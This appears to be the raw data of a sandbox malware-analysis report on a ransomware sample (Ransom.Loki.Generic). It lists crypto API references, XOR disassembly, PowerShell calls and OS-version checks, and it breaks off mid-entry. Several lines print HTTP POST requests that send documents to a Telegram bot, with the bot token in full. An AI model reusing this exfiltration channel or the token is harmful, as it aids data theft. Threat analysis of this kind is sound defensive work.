24:I[7638,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/1f7k-b47qno-6.js","/_next/static/chunks/3spet-0yezls2.js","/_next/static/chunks/2wvg5zqmbil4p.js","/_next/static/chunks/1l73s1hqiu28q.js","/_next/static/chunks/3l_wb6il5gi_h.js","/_next/static/chunks/3fc9w1ah_nm2g.js"],"SampleDetailWrapper"] 59:I[27201,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/1f7k-b47qno-6.js","/_next/static/chunks/3spet-0yezls2.js"],"IconMark"] 23:T4b2,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious Ransom.Loki.Generic Sample ee57b6fa1e5a… — Score 100/100 — Hybrid Analysis","description":"Malicious verdict for sample ee57b6fa1e5a…. Malware family: Ransom.Loki.Generic. Threat score 100/100. 20/28 AV engines flagged this file. 18 malicious and 12 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397","keywords":["Malicious","Ransom.Loki.Generic","malware analysis","sandbox report","threat intelligence","ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397"],"about":{"@type":"SoftwareApplication","name":"bounty-319461586614720","applicationCategory":["peexe","assembly","executable"],"identifier":"ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397","additionalType":"Malicious sample"},"threatScore":100,"malwareFamily":"Ransom.Loki.Generic","antivirusDetections":{"malicious":20,"total":28},"behavioralIndicators":{"malicious":18,"suspicious":12},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}25:T1ada,Found reference to "System.Security.Cryptography.RandomNumberGenerator" (Indicator: "RandomNumberGenerator"; Source: "00000000-00000336.00000000.102479.056C0000.00000004.mdmp") Found reference to "System.Security.Cryptography.AesCryptoServiceProvider, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "Aes"; Source: "00000000-00000336.00000000.102479.056C0000.00000004.mdmp") Found reference to "System.Security.Cryptography.AesCryptoServiceProvider, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "AesCryptoServiceProvider"; Source: "00000000-00000336.00000000.102479.056C0000.00000004.mdmp") Found reference to "System.Security.Cryptography.RSACng, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "RSACng"; Source: "00000000-00000336.00000000.102479.056C0000.00000004.mdmp") Found reference to "System.Security.Cryptography.DSACng, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "DSACng"; Source: "00000000-00000336.00000000.102479.056C0000.00000004.mdmp") Found reference to "System.Security.Cryptography.AesManaged, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "Aes"; Source: "00000000-00000336.00000000.102479.056C0000.00000004.mdmp") Found reference to "System.Security.Cryptography.AesManaged, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "AesManaged"; Source: "00000000-00000336.00000000.102479.056C0000.00000004.mdmp") Found reference to "System.Security.Cryptography.ECDiffieHellmanCng, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "ECDiffieHellman"; Source: "00000000-00000336.00000000.102479.056C0000.00000004.mdmp") Found reference to "System.Security.Cryptography.ECDiffieHellmanCng, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "ECDiffieHellmanCng"; Source: "00000000-00000336.00000000.102479.056C0000.00000004.mdmp") Found reference to "System.Security.Cryptography.ECDsaCng, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "ECDsa"; Source: "00000000-00000336.00000000.102479.056C0000.00000004.mdmp") Found reference to "System.Security.Cryptography.ECDsaCng, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "ECDsaCng"; Source: "00000000-00000336.00000000.102479.056C0000.00000004.mdmp") Found reference to "System.Security.Cryptography.SHA256CryptoServiceProvider, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "SHA256CryptoServiceProvider"; Source: "00000000-00000336.00000000.102479.056C0000.00000004.mdmp") Found reference to "System.Security.Cryptography.SHA384Cng, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "SHA384"; Source: "00000000-00000336.00000000.102479.056C0000.00000004.mdmp") Found reference to "System.Security.Cryptography.SHA384CryptoServiceProvider, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "SHA384"; Source: "00000000-00000336.00000000.102479.056C0000.00000004.mdmp") Found reference to "System.Security.Cryptography.SHA384CryptoServiceProvider, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "SHA384CryptoServiceProvider"; Source: "00000000-00000336.00000000.102479.056C0000.00000004.mdmp") Found reference to "System.Security.Cryptography.SHA512Cng, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "SHA512"; Source: "00000000-00000336.00000000.102479.056C0000.00000004.mdmp") Found reference to "System.Security.Cryptography.SHA512CryptoServiceProvider, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "SHA512"; Source: "00000000-00000336.00000000.102479.056C0000.00000004.mdmp") Found reference to "System.Security.Cryptography.SHA512CryptoServiceProvider, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "SHA512CryptoServiceProvider"; Source: "00000000-00000336.00000000.102479.056C0000.00000004.mdmp") Found reference to "RandomNumberGenerator" (Indicator: "RandomNumberGenerator"; Source: "00000000-00000336.00000000.102479.056C0000.00000004.mdmp") Found reference to "System.Security.Cryptography.HashAlgorithm" (Indicator: "HashAlgorithm"; Source: "00000000-00000336.00000000.102479.056C0000.00000004.mdmp") Found reference to "System.Security.Cryptography.SHA256CryptoServiceProvider" (Indicator: "SHA256CryptoServiceProvider"; Source: "00000000-00000336.00000000.102479.056C0000.00000004.mdmp") Found reference to "SHA384" (Indicator: "SHA384"; Source: "00000000-00000336.00000000.102479.056C0000.00000004.mdmp") Found reference to "System.Security.Cryptography.SHA384" (Indicator: "SHA384"; Source: "00000000-00000336.00000000.102479.056C0000.00000004.mdmp") Found reference to "System.Security.Cryptography.SHA384Cng" (Indicator: "SHA384"; Source: "00000000-00000336.00000000.102479.056C0000.00000004.mdmp") Found reference to "System.Security.Cryptography.SHA384CryptoServiceProvider" (Indicator: "SHA384"; Source: "00000000-00000336.00000000.102479.056C0000.00000004.mdmp") Found reference to "System.Security.Cryptography.SHA384CryptoServiceProvider" (Indicator: "SHA384CryptoServiceProvider"; Source: "00000000-00000336.00000000.102479.056C0000.00000004.mdmp") Found reference to "SHA512" (Indicator: "SHA512"; Source: "00000000-00000336.00000000.102479.056C0000.00000004.mdmp") Found reference to "System.Security.Cryptography.SHA512" (Indicator: "SHA512"; Source: "00000000-00000336.00000000.102479.056C0000.00000004.mdmp") Found reference to "System.Security.Cryptography.SHA512Cng" (Indicator: "SHA512"; Source: "00000000-00000336.00000000.102479.056C0000.00000004.mdmp") Found reference to "System.Security.Cryptography.SHA512CryptoServiceProvider" (Indicator: "SHA512"; Source: "00000000-00000336.00000000.102479.056C0000.00000004.mdmp") Found reference to "System.Security.Cryptography.SHA512CryptoServiceProvider" (Indicator: "SHA512CryptoServiceProvider"; Source: "00000000-00000336.00000000.102479.056C0000.00000004.mdmp") Found reference to "System.Security.Cryptography.HMAC" (Indicator: "HMAC"; Source: "00000000-00000336.00000000.102479.056C0000.00000004.mdmp") Found reference to "System.Security.Cryptography.KeyedHashAlgorithm" (Indicator: "HashAlgorithm"; Source: "00000000-00000336.00000000.102479.056C0000.00000004.mdmp") Found reference to "System.Security.Cryptography.KeyedHashAlgorithm" (Indicator: "KeyedHashAlgorithm"; Source: "00000000-00000336.00000000.102479.056C0000.00000004.mdmp")26:T12ec,"powershell.exe" called "CryptStringToBinaryA" with parameters {"pszString": "MIIatwYJKoZIhvcNAQcCoIIaqDCCGqQCAQExCzAJBgUrDgMCGgUAMGkGCisGAQQBgjcCAQSgWzBZMDQGCisGAQQBgjcCAR4wJgIDAQAABBAfzDtgWUsITrck0sYpfvNRAgEAAgEAAgEAAgEAAgEAMCEwCQYFKw4DAhoFAAQUvSVTZwxcxUqDUoxiH97RfI559SygghV6MIIEuzCCA6OgAwIBAgITMwAAAF3JyvZpIzdoUAAAAAAAXTANBgkqhk" "cchString": "9410" "dwFlags": "1" "pbBinary": "30821ab706092a864886f70d010702a0821aa830821aa4020101310b300906052b0e03021a05003069060a2b060104018237020104a05b30593034060a2b06010401823702011e3026020301000004101fcc3b60594b084eb724d2c6297ef3510201000201000201000201000201003021300906052b0e03021a05000414bd2553670c5cc54a83528c621fded17c8e79f52ca082157a308204bb308203a3a0030201020213330000005dc9caf6692337685000000000005d300d06092a864886f70d01010505003077310b3009060355040613025553311330110603550408130a57617368696e67746f6e3110300e060355040713075265646d6f6e64311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e3121301f060355040313184d6963726f736f66742054696d652d5374616d7020504341301e170d3134303532333137313331375a170d3135303832333137313331375a3081ab310b3009060355040613025553310b30090603550408130257413110300e060355040713075265646d6f6e64311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e310d300b060355040b13044d4f505231273025060355040b131e6e436970686572204453452045534e3a374432452d333738322d42304637312530230603550403131c4d6963726f736f66742054696d652d5374616d70205365727669636530820122300d06092a864886f70d01010105000382010f003082010a0282010100abba7a2faf541f74f40d73b2e00b8558ecababbf4700fe8d3731f21c933ea6bace1be6514068d48018d758635d033736fb835870dec43336b05f077f7dfdf758ab5a976e45ceb8f11b3d52cfa53d05439ba0b13472d3eff331bc2e688e2a350b2e74b0efe42b557265958f67f4a3c8ef0311a7dc0b3ca16c0eff618c4292e456c391b18ff6aed7c1e3e8a81901a21760bf43987a2a5a6a34c8920d3fe05c1db77fb05a1dbdcc6c6a11431e020d5b42e96d4b630b39fb52a3ec7a26d2a2304763d2f8ea15d8692e9e26e94e4f1cb3d2e260263f6e5d9214905e346d78047c52519b0b0176eb41005953cedb8dd649856c823b7ec4e98746b2393cf15ed86f72ff0203010001a382010930820105301d0603551d0e04160414d754e615d9d35dca24d50118f07864997b684c33301f0603551d230418301680142334f8d95246700aed40fb76fbb32bb0c335b30f30540603551d1f044d304b3049a047a0458643687474703a2f2f63726c2e6d6963726f736f66742e636f6d2f706b692f63726c2f70726f64756374732f4d6963726f736f667454696d655374616d705043412e63726c305806082b06010505070101044c304a304806082b06010505073002863c687474703a2f2f7777772e6d6963726f" "pcbBinary": "bb1a0000" "pdwFlags": "01000000"} "powershell.exe" called "CryptStringToBinaryW" with parameters {"pszString": "MIIatwYJKoZIhvcNAQcCoIIaqDCCGqQCAQExCzAJBgUrDgMCGgUAMGkGCisGAQQBgjcCAQSgWzBZMDQGCisGAQQBgjcCAR4wJgIDAQAABBAfzDtgWUsITrck0sYpfvNR" "cchString": "9410" "dwFlags": "1" "pbBinary": "30821ab706092a864886f70d010702a0821aa830821aa4020101310b300906052b0e03021a05003069060a2b060104018237020104a05b30593034060a2b06010401823702011e3026020301000004101fcc3b60594b084eb724d2c6297ef3510201000201000201000201000201003021300906052b0e03021a05000414bd2553670c5cc54a83528c621fded17c8e79f52ca082157a308204bb308203a3a0030201020213330000005dc9caf6692337685000000000005d300d06092a864886f70d01010505003077310b3009060355040613025553311330110603550408130a57617368696e67746f6e3110300e060355040713075265646d6f6e64311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e3121301f060355040313184d6963726f736f66742054696d652d5374616d7020504341301e170d3134303532333137313331375a170d3135303832333137313331375a3081ab310b3009060355040613025553310b30090603550408130257413110300e060355040713075265646d6f6e64311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e310d300b060355040b13044d4f505231273025060355040b131e6e436970686572204453452045534e3a374432452d333738322d42304637312530230603550403131c4d6963726f736f66742054696d652d5374616d70205365727669636530820122300d06092a864886f70d01010105000382010f003082010a0282010100abba7a2faf541f74f40d73b2e00b8558ecababbf4700fe8d3731f21c933ea6bace1be6514068d48018d758635d033736fb835870dec43336b05f077f7dfdf758ab5a976e45ceb8f11b3d52cfa53d05439ba0b13472d3eff331bc2e688e2a350b2e74b0efe42b557265958f67f4a3c8ef0311a7dc0b3ca16c0eff618c4292e456c391b18ff6aed7c1e3e8a81901a21760bf43987a2a5a6a34c8920d3fe05c1db77fb05a1dbdcc6c6a11431e020d5b42e96d4b630b39fb52a3ec7a26d2a2304763d2f8ea15d8692e9e26e94e4f1cb3d2e260263f6e5d9214905e346d78047c52519b0b0176eb41005953cedb8dd649856c823b7ec4e98746b2393cf15ed86f72ff0203010001a382010930820105301d0603551d0e04160414d754e615d9d35dca24d50118f07864997b684c33301f0603551d230418301680142334f8d95246700aed40fb76fbb32bb0c335b30f30540603551d1f044d304b3049a047a0458643687474703a2f2f63726c2e6d6963726f736f66742e636f6d2f706b692f63726c2f70726f64756374732f4d6963726f736f667454696d655374616d705043412e63726c305806082b06010505070101044c304a304806082b06010505073002863c687474703a2f2f7777772e6d6963726f" "pcbBinary": "bb1a0000" "pdwFlags": "01000000"}27:T1413,Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00003052-26830-49-00CCEE60 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00003052-26830-92-00CCE950 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00003052-26830-92-00CCE950 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00003052-26830-126-00CCD490 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00003052-26830-126-00CCD490 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00003052-26830-129-00CC985C Assembly shows XOR instruction xor esi dword ptr [00CD0394h] in Stream UID: 00000000-00003052-26830-129-00CC985C Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00003052-26830-129-00CC985C Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00003052-26830-133-00CC995D Assembly shows XOR instruction xor esi dword ptr [00CD0390h] in Stream UID: 00000000-00003052-26830-133-00CC995D Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00003052-26830-133-00CC995D Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00003052-26830-135-00CCDAD1 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00003052-26830-135-00CCDAD1 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00003052-26830-137-00CCDA34 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00003052-26830-137-00CCDA34 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00003052-26830-141-00CCD610 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00003052-26830-141-00CCD610 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00003052-26830-149-00CCD560 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00003052-26830-149-00CCD560 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00003052-26830-151-00CCD501 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00003052-26830-151-00CCD501 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00003052-26830-158-00CCA510 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00003052-26830-161-00CCA4E0 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00003052-26830-162-00CCA4B0 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00003052-26830-182-00CC8190 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00003052-26830-182-00CC8190 Assembly shows XOR instruction xor eax esp in Stream UID: 00000000-00003052-26830-194-00CCC4B6 Assembly shows XOR instruction xor ecx esp in Stream UID: 00000000-00003052-26830-194-00CCC4B6 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00003052-26830-195-00CC8AF0 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00003052-26830-195-00CC8AF0 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00003052-26830-198-00CC8E30 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00003052-26830-198-00CC8E30 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00003052-26830-199-00CC7C30 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00003052-26830-199-00CC7C30 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00003052-26830-202-00CC85B0 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00003052-26830-202-00CC85B0 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00003052-26830-203-00CC89F0 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00003052-26830-203-00CC89F0 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00003052-26830-204-00CC9030 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00003052-26830-204-00CC9030 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00003052-26830-211-00CCD341 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00003052-26830-211-00CCD341 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00003052-26830-214-00CCC439 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00003052-26830-214-00CCC439 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00003052-26830-215-00CC92C0 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00003052-26830-215-00CC92C0 Assembly shows XOR instruction xor eax dword ptr [ebp-0Ch] in Stream UID: 00000000-00003052-26830-217-00CC9F43 Assembly shows XOR instruction xor dword ptr [ebp-04h] eax in Stream UID: 00000000-00003052-26830-217-00CC9F43 Assembly shows XOR instruction xor eax dword ptr [ebp-04h] in Stream UID: 00000000-00003052-26830-217-00CC9F43 Assembly shows XOR instruction xor eax ecx in Stream UID: 00000000-00003052-26830-217-00CC9F43 Assembly shows XOR instruction xor eax dword ptr [ebp-14h] in Stream UID: 00000000-00003052-26830-217-00CC9F43 Assembly shows XOR instruction xor ecx eax in Stream UID: 00000000-00003052-26830-217-00CC9F4328:Te26,Contains base64 string in header "POST" in header "POST /bot5409839916:AAEYUYZy0IhJQAm4VXi620si4okGW8FDL2w/sendDocument HTTP/1.1Content-Type: multipart/form-data; boundary=---------------------------8dda8ed1894790bHost: api.telegram.orgContent-Length: 807Connection: Keep-Alive" Contains base64 string in header "AAEYUYZy0IhJQAm4VXi620si4okGW8FDL2w/sendDocument" in header "POST /bot5409839916:AAEYUYZy0IhJQAm4VXi620si4okGW8FDL2w/sendDocument HTTP/1.1Content-Type: multipart/form-data; boundary=---------------------------8dda8ed1894790bHost: api.telegram.orgContent-Length: 807Connection: Keep-Alive" Contains base64 string in header "1Content" in header "POST /bot5409839916:AAEYUYZy0IhJQAm4VXi620si4okGW8FDL2w/sendDocument HTTP/1.1Content-Type: multipart/form-data; boundary=---------------------------8dda8ed1894790bHost: api.telegram.orgContent-Length: 807Connection: Keep-Alive" Contains base64 string in header "Type" in header "POST /bot5409839916:AAEYUYZy0IhJQAm4VXi620si4okGW8FDL2w/sendDocument HTTP/1.1Content-Type: multipart/form-data; boundary=---------------------------8dda8ed1894790bHost: api.telegram.orgContent-Length: 807Connection: Keep-Alive" Contains base64 string in header "data" in header "POST /bot5409839916:AAEYUYZy0IhJQAm4VXi620si4okGW8FDL2w/sendDocument HTTP/1.1Content-Type: multipart/form-data; boundary=---------------------------8dda8ed1894790bHost: api.telegram.orgContent-Length: 807Connection: Keep-Alive" Contains base64 string in header "telegram" in header "POST /bot5409839916:AAEYUYZy0IhJQAm4VXi620si4okGW8FDL2w/sendDocument HTTP/1.1Content-Type: multipart/form-data; boundary=---------------------------8dda8ed1894790bHost: api.telegram.orgContent-Length: 807Connection: Keep-Alive" Contains base64 string in header "Keep" in header "POST /bot5409839916:AAEYUYZy0IhJQAm4VXi620si4okGW8FDL2w/sendDocument HTTP/1.1Content-Type: multipart/form-data; boundary=---------------------------8dda8ed1894790bHost: api.telegram.orgContent-Length: 807Connection: Keep-Alive" Contains base64 string in header "POST" in header "POST /bot5409839916:AAEYUYZy0IhJQAm4VXi620si4okGW8FDL2w/sendDocument HTTP/1.1Content-Type: multipart/form-data; boundary=---------------------------8dda8ee9333d20bHost: api.telegram.orgContent-Length: 15031" Contains base64 string in header "AAEYUYZy0IhJQAm4VXi620si4okGW8FDL2w/sendDocument" in header "POST /bot5409839916:AAEYUYZy0IhJQAm4VXi620si4okGW8FDL2w/sendDocument HTTP/1.1Content-Type: multipart/form-data; boundary=---------------------------8dda8ee9333d20bHost: api.telegram.orgContent-Length: 15031" Contains base64 string in header "1Content" in header "POST /bot5409839916:AAEYUYZy0IhJQAm4VXi620si4okGW8FDL2w/sendDocument HTTP/1.1Content-Type: multipart/form-data; boundary=---------------------------8dda8ee9333d20bHost: api.telegram.orgContent-Length: 15031" Contains base64 string in header "Type" in header "POST /bot5409839916:AAEYUYZy0IhJQAm4VXi620si4okGW8FDL2w/sendDocument HTTP/1.1Content-Type: multipart/form-data; boundary=---------------------------8dda8ee9333d20bHost: api.telegram.orgContent-Length: 15031" Contains base64 string in header "data" in header "POST /bot5409839916:AAEYUYZy0IhJQAm4VXi620si4okGW8FDL2w/sendDocument HTTP/1.1Content-Type: multipart/form-data; boundary=---------------------------8dda8ee9333d20bHost: api.telegram.orgContent-Length: 15031" Contains base64 string in header "telegram" in header "POST /bot5409839916:AAEYUYZy0IhJQAm4VXi620si4okGW8FDL2w/sendDocument HTTP/1.1Content-Type: multipart/form-data; boundary=---------------------------8dda8ee9333d20bHost: api.telegram.orgContent-Length: 15031"29:T5b8,The analysis contains indicators for cyrpto or data obfuscation(base64/decrypt) which can hide information. Matched sigs: Contains CRYPTO related strings Matched sigs: Contains ability to use Cryptographic classes Matched sigs: Contains ability to perform encryption (API string) Matched sigs: Contains reference to cryptographic keys Matched sigs: Contains ability to import cryptographic keys (seen in ransomware) Matched sigs: Contains ability to encrypt/decrypt data using TripleDES Matched sigs: Contains ability to decode base64 data Matched sigs: Contains ability to use Microsoft's Enhanced Cryptographic Provider Matched sigs: Contains ability to decrypt/decode data Matched sigs: Contains ability to perform decryption (API string) Matched sigs: Reads the cryptographic machine GUID Matched sigs: Calls an API typically used to decrypt the data Matched sigs: Contains XOR operation loops [Stream disassembly] Matched sigs: Calls an API typically used to import cryptographic keys into a CSP Matched sigs: Calls an API typically used to encrypt a block of data Matched sigs: HTTP requests contain Base64 strings Matched sigs: Dropped file has high entropy (likely encrypted/compressed content) Matched sigs: Sample file has high entropy (likely encrypted/compressed content) Matched sigs: Calls an API typically used to import asymmetric cryptographic keys into a CSP Matched sigs: Calls an API typically used to decrypt a block of data2a:T754,Found reference to API "PostMessage" (Indicator: "postmessage"; Source: "00000000-00000336-00000C2B-599141260") Found reference to API "PostMessageW" (Indicator: "postmessage"; Source: "00000000-00000336-00000C2B-599141306") Found reference to API "EnumWindows" (Indicator: "enumwindows"; Source: "00000000-00003052-00000C2B-608721794") Found reference to API "EnumWindowsW" (Indicator: "enumwindows"; Source: "00000000-00003052-00000C2B-608721845") Found reference to API "SendMessage" (Indicator: "sendmessage"; Source: "00000000-00007972-00000C2B-627436321") Found reference to API "SendMessageW" (Indicator: "sendmessage"; Source: "00000000-00007972-00000C2B-627436363") Found reference to API "" (Indicator: "enumchildwindows"; Source: "00000000-00000336.00000000.102479.033F0000.00000004.mdmp") Found reference to API "sendMessageChannelCache" (Indicator: "sendmessage"; Source: "00000000-00000336.00000000.102479.056C0000.00000004.mdmp") Found reference to API "System.ServiceModel.Activities.Configuration.SendMessageChannelCacheElement, System.ServiceModel.Activities, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35" (Indicator: "sendmessage"; Source: "00000000-00000336.00000000.102479.056C0000.00000004.mdmp") Found reference to API "SendMessage" (Indicator: "sendmessage"; Source: "00000000-00007972.00000000.103107.00400000.00000040.mdmp") Found reference to API "sendMessageChannelCache" (Indicator: "sendmessage"; Source: "00000000-00007972.00000000.103107.05190000.00000004.mdmp") Found reference to API "System.ServiceModel.Activities.Configuration.SendMessageChannelCacheElement, System.ServiceModel.Activities, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35" (Indicator: "sendmessage"; Source: "00000000-00007972.00000000.103107.05190000.00000004.mdmp")2b:T22ee,"ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f000002000000000000000000000000000000000000000000000000000000000000000000000000000000180000009b4e9a6d13929371d8043501687d407580f43501b0bf9371d72c3a1dfeffffff9cf335012276927140f335010000e57438f435013b769271e0dffc7408000000000000000000000000000000000000000000000000000000000000000100000000000000ffffffffffffffff3400000000000000c8f33501000000000800000000000000000000000000000000000000000000000000e574b34e9a6d0000000008f4350169921c75ffffffff34000000c8f3350108000000000000000000e57438f4350127941c75d0f335010b0000000000000020f43501 (UID: 00000000-00000336) "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00000336) "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00000336) "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f0000020000000000000038d63501dcd53501226e9b760000bf03000000002d6e9b76ca472e132d000000ecb7657560d6350100003a03201e4603405545031700000080000000a0d5350100003a0324d6350170c89c76eee3ba64feffffff2d000000d0cc747527000000f4d53501856a9d761c23a27634d63501f85f9d7608000000bb699c76b2699c7622442e132d000000ecb7657527000000d0cc747508d635012d000000d0cc74752700000038d63501856a9d761c23a27680d635017e8a7375ee8c7375738a73758f56c2662d000000ecb7657527000000d0cc74757c29bf031029bf038f56c26648d63501fc52b17534d73501e084737537715812feffffff738a7375 (UID: 00000000-00000336) "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f00000200000000007871187d787100000000d0a93f740000387490113974f897410368994003d86c4703f8eb3501feffffffa0ee3501506a3f770c25bdf0feffffffb8ec3501eaa93b77f897410300000000d86c4703a11400000a000b00b29778715c76787168767871d86c4703303e4703140000000000000000000000f8974103e0ec3501cc2d4077d86c470300000000e46c470300000000f800717100000000cc0d24385ce83e7768403d77d003000019000000110000001000000088c03f0318ed35018d9ad17360be3f039c8246030000000038ed35012c053f039c82460350ed350100007171feffffff0400000020afd17300000000000000000000717140ed3501 (UID: 00000000-00000336) "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f0000020000000000410350058371000000002a00b573fc86ae732a00b573fb8c3c770000000000000000fc86ae73e4e835010000000000000000000000002a00b57309000000c8a7410309000000fc86ae730000000050058371b3559a0013929371f0f9340160d2c10740eb3501b0bf9371d72c3a1dfeffffffa0e835015a94927150e83501000000000000000073949271cce8350100000000000000000000000000000000000000000000000001000000000000000100000000000000c8e8350100000000d8e8350100000000cce8350100000000000000000000000040eb3501cb559a6de4e8350184da1a75010000003c38cf86e8e83501dab91a7500007a71dce83501 (UID: 00000000-00000336) "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f0000020000000000000000000000000000000000000000000000000000001c0000000000bf0308e235010000000000000000a3013c774c32cf86506f7408d007ea072800000000000000600000000000ea0700000000223b000200000000542f007bf02f74083881bf031800000000000000200000000000ea07cc01ea070408ea07000000000008ea070000000000e2350159163c771c000000000000000407ef6e0000bf030000000028000000000000000000000005000000020000000000bf031c00000000000000805cbf0320e23501ee133c771c000000ee133c7700000000000000001c000000ffffffff40e2350150729b760000bf03000000001c0000000407ef6e (UID: 00000000-00000336) "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" called "RtlGetVersion" with parameter 